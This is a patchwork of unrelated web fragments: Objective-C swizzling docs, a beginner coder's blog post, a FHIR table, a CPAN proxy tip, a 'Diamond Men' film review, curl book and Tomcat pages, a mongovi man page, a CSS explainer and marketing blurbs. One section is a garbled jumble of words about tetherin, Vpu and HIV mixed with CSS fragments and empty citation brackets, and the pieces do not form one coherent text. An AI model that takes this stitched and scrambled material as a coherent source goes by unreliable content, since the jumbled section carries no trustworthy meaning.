FMSSwizzler's public methods. More...
#import <NSObject+FMSSwizzler.h>
Public Member Functions | |
| (void) | - FMS_dynamiclySubclass |
| Make the instance a subclass of its current class. This lets you override methods on the new subclass without affecting any other objects in your project. |
Static Public Member Functions | |
| (void) | + FMS_aliasInstanceMethod:newSelector: |
| adds a new instance method using the same implementation as the original selector | |
| (void) | + FMS_replaceInstanceMethod:withImplementationBlock: |
| Replaces the specified method with the given block. | |
| (void) | + FMS_overrideInstanceMethod:oldSelector:implementationBlock: |
| Allows you to replace the implementation of an existing method, while still providing access to the original implementation. | |
| (void) | + FMS_aliasClassMethod:newSelector: |
| adds a new class method using the same implementation as the original selector | |
| (void) | + FMS_replaceClassMethod:withImplementationBlock: |
| Replaces the specified class method with the given block. | |
| (void) | + FMS_overrideClassMethod:oldSelector:implementationBlock: |
| Allows you to replace the implementation of an existing class method, while still providing access to the original implementation. | |
| (FMSPseudoPropertyAdder) | + FMS_generatePseudoPropertyAdderForType: |
Generates a FMSPseudoPropertyAdder block for the specified class and property type. |
FMSSwizzler's public methods.
Public methods added to the NSObject (and it's decendents) to simplify method and class swizzling, as well as providing support for dynamically adding pseudo properties at runtime.
| + (void) FMS_aliasClassMethod: | (SEL) | originalSelector | |
| newSelector: | (SEL) | newSelector | |
adds a new class method using the same implementation as the original selector
| originalSelector | This is the original selector whose implementation we wish to alias. This must be a class method that is currently defined either by the current class or by one of its ancestors. |
| newSelector | This is the selector for the new class method we will create. This method must not yet exist either in the current class or in any of its ancestors. Additionally, this must have the same number of arguments as originalSelector . |
This method creates a new class method using the newSelector
and the implementation from the originalSelector
. We then have two methods that both use the same implementation. This is particularly useful if you wish to replace an existing method, but still want to be able to access it in your code.
Note: There may be a few odd edge cases where methods check the _cmd hidden before determining their behavior. In these cases, the aliased methods will use the new selector for their _cmd value. So, they may no longer function properly. This should be rare, however.
| + (void) FMS_aliasInstanceMethod: | (SEL) | originalSelector | |
| newSelector: | (SEL) | newSelector | |
adds a new instance method using the same implementation as the original selector
| originalSelector | This is the original selector whose implementation we wish to alias. This must be an instance method that is currently defined either by the current class or by one of its ancestors. |
| newSelector | This is the selector for the new method we will create. This instance method must not yet exist either in the current class or in any of its ancestors. Additionally, this must have the same number of arguments as originalSelector . |
This method creates a new method using the newSelector
and the implementation from the originalSelector
. We then have two methods that both use the same implementation. This is particularly useful if you wish to replace an existing method, but still want access to it.
Note: You must take care when aliasing methods from class clusters. Classes like NSString, NSArray or NSDate declare a public, abstract class–but then provide private subclasses when instantiated. If you alias the abstract class (e.g. [NSString FMS_aliasInstanceMethod:...
) your new method will point to the version of the method defined in the abstract class, not the version provided in the concrete subclass. To correctly alias the subclass, you must call FMS_aliasInstanceMethod
on the subclass itself (e.g. `[[myString class] FMS_aliasInstanceMethod...). To make things even more difficult, different instances from the same class cluster may have different concrete subclasses. Bottom line, it's probably best to avoid aliasing methods on class clusters. Alternatively, dynamically subclass the instance before creating the alias to limit the change to just that instance.
Note: Aliasing can also interfere with KVO (though, in potentially useful ways). If you are observing a keypath that corresponds to an accessor method, and you alias that accessor method, then calling the original method will still generate KVO notifications–but calling the alias will not. This, potentially, lets you sidestep around KVO notification when done deliberately, but can also cause odd bugs when you are not paying attention.
Note: There may be a few odd edge cases where methods check the _cmd hidden before determining their behavior. In these cases, the aliased methods will use the new selector for their _cmd value. So, they may no longer function properly. This should be rare, however.
| - (void) FMS_dynamiclySubclass |
Make the instance a subclass of its current class. This lets you override methods on the new subclass without affecting any other objects in your project.
Calling this method dynamically creates a subclass of the object's current class, then changes the object's class to the newly created subclass. This lets us sandbox any changes we make to the class. It is most often paired with calls to FMS_overrideInstanceMethod:oldSelector:implementationBlock:
, letting us override the instances method without modifying any other instances of the class.
Dynamic subclassing avoids many of the problems associated with class clusters.
Note: Any further FMSSwizzling methods must be called on the new class. For example, if I dynamically subclass my self.person
instance, I can then override its methods by calling [[self.person class] FMS_overrideInstanceMethod...
.
Note: Care must be taken when mixing dynamic subclassing and KVO. KVO uses a version of dynamic subclassing to provide its notifications. Importantly, KVO notifications will only work if the KVO subclass is the last one. Therefore, calling FMS_dynamiclySubclass
before calling addObserver:forKeyPath:options:context:
works fine. Calling addObserver:forKeyPath:options:context:
and then calling FMS_dynamiclySubclass
will prevent the notifications from being sent.
Note: Dynamic subclassing cannot be used with tagged pointers. Some NSNumber and NSDate (and possibly other) objects use pointer tagging to improve efficiency. FMS_dynamiclySubclass
will check the object's class before trying to dynamically subclass the class. If it finds a tagged pointer (any pointer with a 1 in the lowest bit), it throws an exception.
| + (FMSPseudoPropertyAdder) FMS_generatePseudoPropertyAdderForType: | (FMSPseudoPropertyType) | type |
Generates a FMSPseudoPropertyAdder
block for the specified class and property type.
| type | A FMSPseudoPropertyType indicating the type of properties the returned adder should create. |
FMSPseudoPropertyAdder
for the calling class that creates pseudo properties of the type specified in the type
parameter.This method generates a block that can be used to create pseudo properties. Simply call the block and pass in a single NSString
argument. The adder will dynamically create getter and setter methods using the string as the property name. The adder will use objc_getAssociatedObject()
and objc_setAssociatedObject()
as the data storage for the property.
| + (void) FMS_overrideClassMethod: | (SEL) | selector | |
| oldSelector: | (SEL) | oldSelector | |
| implementationBlock: | (id) | block | |
Allows you to replace the implementation of an existing class method, while still providing access to the original implementation.
| selector | This is the selector for the class method you wish to override. |
| oldSelector | This is the selector that will be used for accessing the old implementation. This must have the same number of arguments as the original selector . |
| block | A block containing our new implementation. This block must start with an argument for the current object (the equivilant of the self argument–note that we do not need to include the _cmd argument). Next, we need to match all the method's arguments exactly. If you do not, it could cause the applicaiton to crash at runtime. Finally, the block needs to return the same type of data as the original method. |
This method starts by creating an alias of the specified class method using the oldSelector
argument. Then it replaces the method's current IMP
with a new IMP
created from the provided block. This leaves us with two, unique methods: selector
points to our new implementation while oldSelector
points to the old.
Our implementation block must return the same data type as the original implementation. It must also take a number of arguments equal to the original + 1 (for _self
).
Example: Method with 3 arguments: [[Person class] FMS_overrideClassMethod:@selector(personWithFirstName:lastName:age:) oldSelector:@selector(oldPersonWithFirstName:lastName:age:) implementationBlock:^(id _self, NSString *firstName, NSString *lastName, NSUInteger age){return [_self oldPersonWithFirstName:[firstName lowercaseString] lastName:[lastName lowercaseString] age:age;}];
Note: replacing a method that the class relies on internally may cause unexpected results. Strongly consider using `FMS_OverrideInsanceMethod:oldSelector:implementationBlock: and calling the original method either before or after your modified code.
Note: There may be a few odd edge cases where the original method checks the _cmd hidden before determining its behavior. In these cases, the old implementation will use oldSelector
for their _cmd value. So, they may no longer function properly. This should be rare, however.
| + (void) FMS_overrideInstanceMethod: | (SEL) | selector | |
| oldSelector: | (SEL) | oldSelector | |
| implementationBlock: | (id) | block | |
Allows you to replace the implementation of an existing method, while still providing access to the original implementation.
| selector | This is the selector for the method you wish to override. |
| oldSelector | This is the selector that will be used for accessing the old implementation. This must have the same number of arguments as the original selector . |
| block | A block containing our new implementation. This block must start with an argument for the current object (the equivilant of the self argument–note that we do not need to include the _cmd argument). Next, we need to match all the method's arguments exactly. If you do not, it could cause the applicaiton to crash at runtime. Finally, the block needs to return the same type of data as the original method. |
This method starts by creating an alias of the specified method using the oldSelector
argument. Then it replaces the method's current IMP
with a new IMP
created from the provided block. This leaves us with two, unique methods: selector
points to our new implementation while oldSelector
points to the old.
Our implementation block must return the same data type as the original implementation. It must also take a number of arguments equal to the original + 1 (for _self
).
Examples: Method with no arguments: [[Person class] FMS_overrideInstanceMethod:@selector(firstName) oldSelector:@selector(oldFirstName) implementationBlock:^(Person *_self){return [[_self oldFirstName] lowercaseString];}];
Method with one argument: [[Person class] FMS_overrideInstanceMethod:@selector(setFirstName:) oldSelector:@selector(oldSetFirstName:) implementationBlock:^(Person *_self, NSString *name){ [_self oldSetFirstName:[name lowercaseString]];}];
Note: You must take care when replacing methods from class clusters. Classes like NSString, NSArray or NSDate declare a public, abstract class–but then provide private subclasses when instantiated. If you replace the abstract class (e.g. [NSString FMS_replaceInstanceMethod:...
) your new method will probably be overridden by the concrete subclass, and will never be called. You must call FMS_replaceInstanceMethod
on the subclass itself (e.g. `[[myString class] FMS_aliasInstanceMethod...). To make things even more difficult, different instances from the same class cluster may have different concrete subclasses. Bottom line, it's probably best to avoid replacing methods on class clusters. Alternatively, dynamically subclass the instance before creating the alias to limit the change to just that instance.
Note: Replacing methods may also cause unexpected results with KVO. Remember, if you are observing a keypath that corresponds to the method you have replaced, your new method will still trigger KVO notifications–even if you end up not changing the underlying values.
Note: There may be a few odd edge cases where the original method checks the _cmd hidden before determining its behavior. In these cases, the old implementation will use oldSelector
for their _cmd value. So, they may no longer function properly. This should be rare, however.
| + (void) FMS_replaceClassMethod: | (SEL) | methodSelector | |
| withImplementationBlock: | (id) | block | |
Replaces the specified class method with the given block.
| methodSelector | The selector for the class method we wish to replace. |
| block | A block containing our new implementation. This block must start with an argument for the current class (the equivilant of the self argument in other class methods–note that we do not need to include the _cmd argument). Next, we need to match all the class method's arguments exactly. If you do not, it could cause the applicaiton to crash at runtime. Finally, the block needs to return the same type of data as the original method. |
This method replaces the specified class method's current IMP
with a new IMP
created from the provided block. Our block must return the same data type as the original implementation. It must also take a number of arguments equal to the original + 1 (for _self
).
Examples: Method with 3 arguments: [[Person class] FMS_replaceClassMethod:@selector(personWithFirstName:lastName:age:) withImplementationBlock:^(id _self, NSString *firstName, NSString *lastName, NSUInteger age){return nil;}];
| + (void) FMS_replaceInstanceMethod: | (SEL) | methodSelector | |
| withImplementationBlock: | (id) | block | |
Replaces the specified method with the given block.
| methodSelector | The selector for the method we wish to replace. |
| block | A block containing our new implementation. This block must start with an argument for the current object (the equivilant of the self argument–note that we do not need to include the _cmd argument). Next, we need to match all the method's arguments exactly. If you do not, it could cause the applicaiton to crash at runtime. Finally, the block needs to return the same type of data as the original method. |
This method replaces the specified method's current IMP
with a new IMP
created from the provided block. Our block must return the same data type as the original implementation. It must also take a number of arguments equal to the original + 1 (for _self
).
Examples: Method with no arguments: [[Person class] FMS_replaceInstanceMethod:@selector(firstName) withImplementationBlock:^(Person *_self){return @"Bob";}];
Method with one argument: [[Person class] FMS_replaceInstanceMethod:@selector(setFirstName:) withImplementationBlock:^(Person *_self, NSString *name){ // do something with the name here -- no need to return anything.}];
Note: replacing a method that the class relies on internally may cause unexpected results. Strongly consider using `FMS_OverrideInsanceMethod:oldSelector:implementationBlock: and calling the original method either before or after your modified code.
Note: You must take care when replacing methods from class clusters. Classes like NSString, NSArray or NSDate declare a public, abstract class–but then provide private subclasses when instantiated. If you replace the abstract class (e.g. [NSString FMS_replaceInstanceMethod:...
) your new method will probably be overridden by the concrete subclass, and will never be called. You must call FMS_replaceInstanceMethod
on the subclass itself (e.g. `[[myString class] FMS_aliasInstanceMethod...). To make things even more difficult, different instances from the same class cluster may have different concrete subclasses. Bottom line, it's probably best to avoid replacing methods on class clusters. Alternatively, dynamically subclass the instance before creating the alias to limit the change to just that instance.
Note: Replacing methods may also cause unexpected results with KVO. Remember, if you are observing a keypath that corresponds to the method you have replaced, your new method will still trigger KVO notifications–even if you end up not changing the underlying values.


Ben's First Thoughts
Or: How I learned to stop worrying and trust in the system
March 5, 2015
Being so new to coding, at first I didn't really know what to think. I went from not really knowing much of anything to trying to troubleshoot git, which seemed impossible at first and I'll be honest, a couple of hours in I questioned whether or not I had made the right decision to do this program. I can tell from looking at the Google+ group that people have started to build a community, and being a late add I wondered if I had already missed the boat. A week is so short but so very long at the same time, especially since I'm in a very different timezone to most people so its easy to feel disconnected.
It didn't help that at first I struggled. Things didn't install properly, code wasn't working and git was not being my friend. And then it happened. Slowly but surely things started to work. I'm not saying its been perfect, because I still have to really think through a lot of my actions, but its starting to come more naturally. I'm starting to....get it....I know, I know, famous last words. But in that way my expectations have changed. Before I had reservations that I could really succeed in any coding program but now I feel confident. There is so much left to learn but just getting git under my belt feels great.
Am I nervous? Not at all. I'm so excited to be part of this community and I can't wait to be in the same place as everybody. I can already feel what learning coding is going to do for me and how its going to open my world in new and exciting ways.


Key: = Must support, = QICore-defined extension, = Is-Modifier
| Field | Card. | Type and Description |
|---|---|---|
| content |
1..1
|
Attachment
|
| deviceName |
0..1
|
String
|
| duration |
0..1
|
unsignedInt
|
| frames |
0..1
|
positiveInt
|
| height |
0..1
|
positiveInt
|
| identifier |
0..*
|
List<Identifier>
|
| operator |
0..1
|
Practitioner
|
| subject |
0..1
|
Patient | Practitioner | Group | Device | Specimen
|
| subtype |
0..1
|
Concept
|
| type |
1..1
|
code
|
| view |
0..1
|
Concept
|
| width |
0..1
|
positiveInt
|
Key: = Must support, = QICore-defined extension, = Is-Modifier


Hash out. Analyze. Research. Design.
Learn more »
With our solution we can automatically sort between compost and trash based on the sound profiles.
This glove allows you to control and add special effects to your music. You make music your way.
We have built an early notification system to alert people when rockslides are headed towards them.


tetherin virus human HIV- []. Vpu protein cell release hiv- Virol viral type cells immunodeficiency proteins [,]. membrane restriction Env vpu surface antagonism virions Tetherin {border-style degradation particle cytoplasmic domain plasma px;} #ffffff;} Pathoge SIV function tetherin, viruses ability envelope antiviral primate role target cell-to-cell counteract infected mechanism studies downregulation immune cellular expression interaction required spread transmembrane Nef able activity amino enveloped infection intracellular replication tail Sci Vpu, bst-/tetherin host interactions levels likely motif particles production Acad Ebola However, Natl antigen cells, complex direct factor highly inhibit mammalian molecules px; specific virion {font-family Furthermore, Host Microbe SIVmac acid conserved demonstrated does effect extracellular font-size important known lentiviral response site tethering Biol Group SIVcpz TGN acids actin adaptation budding countermeasures degradation, directly domains double; endosomal glycoprotein group inhibits interact mediates membrane, physical recent responsible retroviral sequestration shown structural targets transmission ubiquitin Cell Vpu-defective [,,]. [], accessory adaptive antagonists antagonize border-color border-width cell-free cell-surface clear coiled-coil confer encoded essential expressed far identified induces interferon involved leading ligase macrophages, particularly polarized positive receptor regions residues results selection simian solid; species structures study tetherin. virus, vpu-mediated {font-style {font-weight HIV-, ILT KSHV Viral Vpu-mediated [,,,]. [,,], [,], [,â€"]. [â€"]. absence activity, adaptor anchor antagonist basis bold bst- capacity certain components consequences courier; cytoskeleton dendritic derived different diverse downregulated ectodomain effects em; encode enhanced enhances evolution genes high implicated inflammatory inhibition inhibitory like lipid marrow mature membranes. molecular molecule monkey), multiple mutants mutations nature nef nef-deleted parallel plays possibility potent predominantly presence pressure process promote proteasomal protein. proteins, pt;} require resistant rhesus signaling single sorting species-specific specifically structure sufficient suggesting targeting ubiquitination vivo


---
layout: post
title: ! 'Handy Hack: How to configure the cpan utility to use Windows proxies'
tags:
- Cygwin
- Perl
status: publish
type: post
published: true
meta:
_edit_last: '451289'
---
When using cpan.bat the following may be helpful. Please note that this is for a Windows corporate network infrastructure and was tested using both Strawberry and Cygwin Perl in the current network environment where I work. YMMV!
 THIS IS INSECURE!
Step 1: Information Gathering
- Discover the address of your proxy: If using a PAC file (look in IE Tools->Internet Options-> Connections -> LAN Settings and identify the setting 'Use automatic configuration script') then download the PAC file and open in a text editor. The default proxy address (e.g. proxy.corp) and port (e.g. 80) will probably be at the bottom of the PAC script. If you are not using a PAC script then the proxy address will be in the LAN Settings dialog.
- Know your domain name (e.g. corpdom) and lan ID (e.g. lanname)
- You will also need your lan password (e.g. secret)
Step 2: Configure CPAN
- From the command line ensure that you running the correct version of perl (perl --version)
- run the command cpan
- You may be asked some configuration questions -- answer as best you can and take defaults if not sure
- At the CPAN Prompt type the following commands:
-
o conf proxy_user corpdom\\lanname
(NB Double slash required)
-
o conf proxy_pass secret
-
o conf ftp_proxy http://proxy.corp:80
(NB No trailling slash on URL)
-
o conf http_proxy http://proxy.corp:80
(NB No trailling slash on URL)
- Now try and install something (e.g.
i Bundle::Perl::Critic
)
[Update: July 2008 -- tested on Strawberry and Cygwin Perl. See also]


"Diamond Men"
Eddie Miller (Robert Forster) is a traveling jewelry salesman whose life on the road has spanned over 30 years until one day he has a heart attack. Now, considered a liability by the front office, Eddie learns that he is about to lose his longtime sales circuit to another. Adding insult to injury, he also learns that he has to show the ropes of the road to this new guy, Bobby Walker (Donnie Wahlberg), in "Diamond Men."
Robert Forster, who has maintained a low profile in films despite his decades in the business, came back into the limelight with his perf in the 1997 Quentin Tarantino movie, "Jackie Brown." With "Diamond Men" the veteran actor stars as a solitary, recently widowed jewel salesman who has run the roads of his Pennsylvania territory for decades. After his sudden heart attack he is informed by his younger boss that he is now a poor insurance risk and has to give up the only work life he has really known. With little guarantee of continued employment in the company, he is also told that he is the one who will train his replacement. The only commitment he can get from his condescending boss is the vague "we'll do our best" to keep the veteran salesman employed.
Then, like an additional slap to the injury of losing his job, Eddie is saddled with Bobby, whose total sales experience stems from two years of servicing vending machines. Brash, flashily dressed and virtually unschooled in sales etiquette, the young know-it-all presumes from the start to grasp more than his mentor. He resists, at first, the wisdom of the road dispensed by Eddie but soon learns that the older man knows what he is doing and it behooves the rookie to pay attention. As the barriers come down between them, during the weeks of training and traveling the roads of Pennsylvania, the pair becomes friends and a mutual bonding begins.
As Eddie and Bobby get to know, and like, each other they both receive an education. Bobby learns the subtlety of the jewelry business, how to act around a client and, most important, how to close a sale. Eddie gets reintroduced to a joie de vie that he hasn't had since his wife went into the years-long bout with cancer that eventually took her life, leaving Eddie with a void that he fills with his work.  Bobby feels so strongly about helping his muse enjoy life, he then fixes him up with a mature, attractive woman, Katie (Bess Armstrong), not realizing that she has her own working girl past.
There is a palpable chemistry between Forster and Wahlberg as the two very different, generationally separated diamond men have to first, tolerate each other (especially Eddie towards Bobby), then, accept each other and, eventually and believably, become good friends. Bess Armsrong is perfect as the love interest for Eddie and gives dimension to her perf as a woman with a past but, nonetheless, a good woman. She is the spark that allows Eddie to live once again. Supporting cast is scant but character actor George Coe is convincing as one of Eddie's oldest customers and a close friend who falls for a much younger woman, to his own detriment. Jasmine Guy is likable as Tina, the lady who runs Bobbie's favorite "massage parlor" and has a genuine affection for the young fellow.
Techs are solid with crisp lensing by John Huneck and a varied production that brings you into the life, on the road, of a traveling salesman. The small town-feel of the little motels, the family restaurants and the mom-and-pop jewelry stores that Eddie and Bobby frequent puts you in the heartland of America in a very real way.
One problem I have with the screenplay, by helmer Daniel M. Cohen (based, loosely, on his father's own life as a traveling salesman), stems from the abrupt changing of gears as the story shifts from a buddy/road movie with a nice building of the chemistry between Eddie and Bobby to a dramatic turn where a rushed introduction of larceny changes the mood of the film. The drama that unfolds is set up, perfunctorily, in the beginning of the film and makes this crime portion feel tacked on and contrived. The upbeat final coda takes away some of the sourness of the last third of the flick and you come out of "Diamond Men" with, fortunately, a positive outlook as our heroes, in the end, are winners. This is as it should be.
I give "Diamond Men" a B.
For more Reeling reviews visit www.reelingreviews.com
<EMAIL_ADDRESS><EMAIL_ADDRESS>========== X-RAMR-ID: 29850 X-Language: en X-RT-ReviewID: 255335 X-RT-TitleID: 1110546 X-RT-SourceID: 386 X-RT-AuthorID: 1488
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


#include "_doctype.html"
Everything curl is an extensive, detailed and totally free book, available in multiple formats.
Learn how to use curl. How to use libcurl. How to build them from source or perhaps how the curl project accepts contributions. There's something for everyone in this, from the casual first-time users to the experienced libcurl hackers.
Everything curl is written by Daniel Stenberg but is also itself an open project that accepts your contributions and help.
| Author: | Daniel Stenberg |
| Pages: | 250+ (in the PDF and physical versions) |
| ISBN: | 978-91-639-6501-2 |
| Github: | bagder/everything-curl |
| Gitbook: | everything-curl |
To get a PDF version downloaded, select "export as PDF" in the top right menu of the web version. SUBTITLE(Buy a print version)
You can buy the 2018 Edition, 250-page printed paperback version of the book directly from Dan Fandrich.
The price is US$25 including shipping within the US and Canada, slightly more outside; see the site for exact details. #include "_footer.html"


Artificial Intelligence in the contemporary world provides a tool to automate tasks and to pick insights from the large volume of data generated. Contact our team of seasoned machine learning practitioners for invaluable guidance.
Developing a programme for passing on knowledge to machine learning enthusiasts is a trade off between complexity and the ease of understanding. Contact our team to get a customisable mix.
The development of technology has given businesses a mammoth of data. It is a duanting task to analyse multidimensional data with reliable risk assesment. We offer reliable and robust algorithms to help you navigate data and determine what you need to conquer the future.
Feyti Analytics delivers Artificial Intelligence products for the Enterprise. Our team harnesses the power machine learning techniques such as deep reinforcement learning, Computer vision and predictive analytics to create AI systems that can make decisions in real-life industrial environments. By combining the skills of AI researchers, ML engineers, Software Engineers and Visualization experts, Feyti Analytics builds end-to-end products that can tackle the most challenging optimization and automation challenges.
Founded in Africa, Feyti Analytics knows first-hand what African talent is truly capable of. With proper training and access to high-quality mentors, the continent can rise up to the opportunity offered by AI. To advance this cause, Feyti Analytics partners with organizations such as AI Research Lab Makerere, Google Developer Groups Kampala, Facebook Dev Circles Kampala and Data Science Africa.
Data Scientist
Chief Technical Officer
Lead Developer
When we founded Feyti analytics, we were simply a story being woven with more flavour. We picked insipiration from the solutions we had develped in a span of a decade. Over that time we have picked up skills, become thought leaders and picked up accolades that are the envy of the continent. We have developed and polished expertise in artificial intelligence, distributed ledger technology , healthcare and entreprenuership.


Datastore provides a single interface that Neptune jobs can use to store and retrieve data. Since ACLs can also be modified, the underlying datastore must have this capability as well.
Checks whether the given file exists in the specified datastore.
# File ../Neptune/lib/datastores/datastore.rb, line 56 def does_file_exist?(path) raise NotImplementedError.new("Does file exist is abstract") end
Returns the access policy for the named file, in the appropriate datastore.
# File ../Neptune/lib/datastores/datastore.rb, line 44 def get_acl(path) raise NotImplementedError.new("Get acl is abstract") end
Queries the remote datastore for the given file and returns its contents as a string
# File ../Neptune/lib/datastores/datastore.rb, line 25 def get_output_and_return_contents(remote_path) raise NotImplementedError.new("Get output to string is abstract") end
Queries the remote datastore for the given file and writes its contents to the local filesystem.
# File ../Neptune/lib/datastores/datastore.rb, line 18 def get_output_and_save_to_fs(remote_path, local_path) raise NotImplementedError.new("Get output to FS is abstract") end
Sets the access policy for the named file, in the appropriate datastore.
# File ../Neptune/lib/datastores/datastore.rb, line 50 def set_acl(path, acl) raise NotImplementedError.new("Set acl is abstract") end
Writes the contents of a file on the local filesystem to the remote datastore.
# File ../Neptune/lib/datastores/datastore.rb, line 32 def write_remote_file_from_local_file(remote_path, local_path) raise NotImplementedError.new("Write output to file is abstract") end
Writes the contents of a string to the remote datastore.
# File ../Neptune/lib/datastores/datastore.rb, line 38 def write_remote_file_from_string(remote_path, string) raise NotImplementedError.new("Write output to string is abstract") end
Creates a new Datastore from the given credentials (a Hash).
# File ../Neptune/lib/datastores/datastore.rb, line 11 def initialize(credentials) raise NotImplementedError.new("Datastore initialize is abstract") end


NAME
mongovi — command line interface for MongoDB
DESCRIPTION
mongovi is a cli for MongoDB that uses
editline(3) for line editing and key bindings.
-
-p
-
Print output in a human readable format. This is the default when stdin is connected to a terminal.
-
-s
-
Put each JSON document on a single line. This is the default when stdin is not connected to a terminal.
-
-i
-
Import mode. Insert every document read on stdin. Expects exactly one document per line. Can only be used non-interactively.
-
-h
-
Print usage.
-
path
-
Open a specific database and collection. A path is a “/” delimited list of a database and collection name.
The default key bindings are Emacs-like.
vi(1)-like key bindings can be enabled by putting “bind -v” into your
editrc(5) file.
By default
mongovi will connect to mongodb://localhost:27017. It is possible to override this connection string using a file called “.mongovi” in your home directory. This file, if it exists, should contain exactly one line, which is a mongodb connection string. This string might contain a username and password.
BUILTIN COMMANDS
The following commands are supported:
-
find [selector]
-
List all documents in the currently selected collection. Each document is output in MongoDB Extended JSON format.
-
count [selector]
-
Count all documents in the currently selected collection.
-
remove selector
-
Remove all documents in the currently selected collection that match the selector.
-
update selector doc
-
Update all documents that match the selector using the provided update document.
-
upsert selector doc
-
Update or insert a document that matches the selector using the provided document.
-
insert doc
-
Insert doc into the currently selected collection. doc is parsed as MongoDB Extended JSON.
-
aggregate [pipeline]
-
Run an aggregation query using the given pipeline.
-
cd path
-
Change the currently selected database and collection to path. The database and collection name should be separated by a “/”. A path that starts with a leading “/” is treated as an absolute path and should always be followed by a database name.
If path is “-” the previously selected path will be selected again. If a path component is “..” it's interpreted as a way to traverse up.
If “/”, “-” or “..” follow a collection name, these will be treated as part of that collection and won't have the special meaning described before.
-
ls [path]
-
List the contents of path or if path is omitted, the currently selected path.
-
drop [path]
-
drop a collection or database depending on path or the currently selected path.
-
help
-
Print the list of commands.
Any command can be abbreviated to the shortest non-ambiguous form. So
find can also be written as
f since no other command starts with an f.
If selector is not a JSON document it is treated as a shortcut to search on _id of type string. Hexadecimal strings of 24 characters are treated as object ids.
EXAMPLES
List all databases non-interactively:
$ echo ls | mongovi
Open database “foo” and collection “bar”:
$ mongovi /foo/bar
/foo/bar>
Change the currently selected collection to “sabar”:
/foo/bar> cd ../sabar
/foo/sabar>
List documents where “foo” is “bar”:
/foo/bar> find { foo: "bar" }
Quick search on Object ID:
/foo/bar> find 57c6fb00495b576b10996f64
Use an aggregation query to filter on documents where “foo” is “bar”. Note that
aggregate is abbreviated to
a:
/foo/bar> a [{ $project: { foo: true } }, { $match: { foo: "bar" } }]
Copy one collection to another:
$ echo f | mongovi /foo/bar | mongovi -i /qux/baz
EXIT STATUS
The mongovi utility exits 0 on success, and >0 if an error occurs.


Client version:
Revision:
Metadict needs javascript to run. Please enable javascript and reload the page or switch to a different browser.
An unexpected error occurred. You can try restarting the application and check if the error occurs again. If the error persists, you may open an issue on Github.


Vismaya Water ParkVismaya Water Park is one of the most visited tourist places in Kannur. The water park found its way into the limelight in the year 2008 by the Malabar Tourism Development Co-operative Limited (MTDC) and since then it has been boasting with its world-class architecture of splash pools, amusement rides, restaurants, casual shops, prayer halls, and conference halls that the tourists enjoy. Also, the park’s amazing interior adds to the beauty of the infrastructure and sets the perfect ambience for the visitors. |
|
Parassinikkadavu Snake ParkOne of the most curious Kannur tourist places is the snake park in Parassinikkadavu. The park houses over 150 species of reptiles ranging from crocodiles to lizards and snakes, along with endemic and migratory species of rare water birds. Wildlife enthusiasts and animal lovers will find it extremely satisfying to enjoy the array of animals and their admirable traits. You will be left awestruck watching the delightful traits of these animals. |


| Previous | Top | Next |
| JDK Tomcat Ant CVS |
Tomcat will operate under any Java Development Kit (JDK) environment that provides a JDK 1.2 (also known as Java2 Standard Edition, or J2SE) or later platform. You will need a Java Development Kit, as opposed to a Java Runtime Environment, so that your servlets, other classes, and JSP pages can be compiled.
Compatible JDKs for many platforms (or links to where they can be found) are available at http://java.sun.com/j2se/.
Binary downloads of the Tomcat server are available from the http://jakarta.apache.org/downloads/binindex.html page. This manual assumes you are using the most recent milestone, beta, or release of Tomcat 4.0.
The shell command line examples in this manual assume that you have set up your environment as follows:
JAVA_HOME
environment variable points at the base
directory where you have installed the JDK (for example,
/usr/local/jdk1.3
).
$JAVA_HOME/bin
to your
PATH
environment variable, so that the java
command is recognized and executed.
CATALINA_HOME
environment variable points at the base
directory where you have installed Tomcat (for example,
/opt/tomcat
or /usr/local/tomcat
).
Normally, any changes required to the CLASSPATH
environment
variable are handled for you by the development scripts. However, if you
are defining your own scripts, you may need to add file
$JAVA_HOME/lib/tools.jar
to your CLASSPATH
.
Although Tomcat includes a binary distribution of the Ant development tool, it does not include the Ant developer documentation. This can be acquired by downloading the complete Ant release from http://jakarta.apache.org/downloads/binindex.html page. The example application build scripts assume that you have Ant 1.2 or later.
Besides the required tools described above, you are strongly encouraged to download and install a source code control system, such as CVS, to maintain historical versions of the source files that make up your web application. Besides the server, you will also need appropriate client tools to check out source code files, and check in modified versions.
Detailed instructions for installing and using source code control applications is beyond the scope of this manual. However, CVS server and client tools for many platforms (along with documentation) can be downloaded from http://www.cvshome.org.


Beginning with the outer factor of an element, the margin is what determines the conditions that are between the element and all other elements of the site. It is commonly used to reference the distance between elements.
In order to customize each side of the margin surrounding a specific dimension is applied to the object with the following code. This can also be simplified listed like the second featured code. It is key to note that the dimensions are to be listed in clockwise order.
Moving inwards but not quite. The border, as the name suggest refers to the area directly around the element. We can apply a range of custom conditions listed below.
Further inside the element you will find the padding which is refers to the space between the content of an element and how it interacts with its edges.
Lets take this picture frame hanging on the wall for example and lets reconstruction the whole image featured at the top of this page. Keeping in mind that its all about our object and how it fits perfectly in its setting.
Starting with our object or in this case image we want to apply the first layer which is the space between the picture frame itself and image.
From here we want to define our border conditions. Dimensions, colour, style and width.
Finally we want to measure out how far we want this image to be from everything else along the wall such as the chair leaning up against it.


Go to index page.
giffiltr
This is an expensive way to copy a GIF. The source is included as a skeleton
for more sophisticated filters. See the source in the util directory for
details.
I suppose this does have some utility as a test of the sequential GIF record
I/O routines. The output should be bytewise identical to the input.
Usage:
giffiltr <GifFile >GifCopy
Memory required:
Line.
Options:
None.
Author
Eric S. Raymond<EMAIL_ADDRESS>Eric S. Raymond <esr@snark.thyrsus.com>


Do what you love, love what you do! Becoming a freelancer is a fun adventure that develops your network and the dynamic skills you'll use for a lifetime. It's the best way forward if you want to free up time and become financially independent.
You don't have to go far to find beauty and happiness.
Believe in You! There's nothing more satisfying that knowing yourself well. By doing amazing things and meeting amazing people, you'll discover yourself in amazing ways. Trust us, you're in there, and you're amazing.


When it comes to dashboard or web apps. one of the first impression you consider is the |design. It needs to be high quality enough otherwise you will lose potential users due to |bad design.
Endless is beautifully crafted, clean & modern designed admin theme with 6 different demos & light - dark versions.
Endless is beautifully crafted, clean & modern designed admin theme with 6 different demos & light - dark versions.
Endless is beautifully crafted, clean & modern designed admin theme with 6 different demos & light - dark versions.
Endless is beautifully crafted, clean & modern designed admin theme with 6 different demos & light - dark versions.
Endless is beautifully crafted, clean & modern designed admin theme with 6 different demos & light - dark versions.
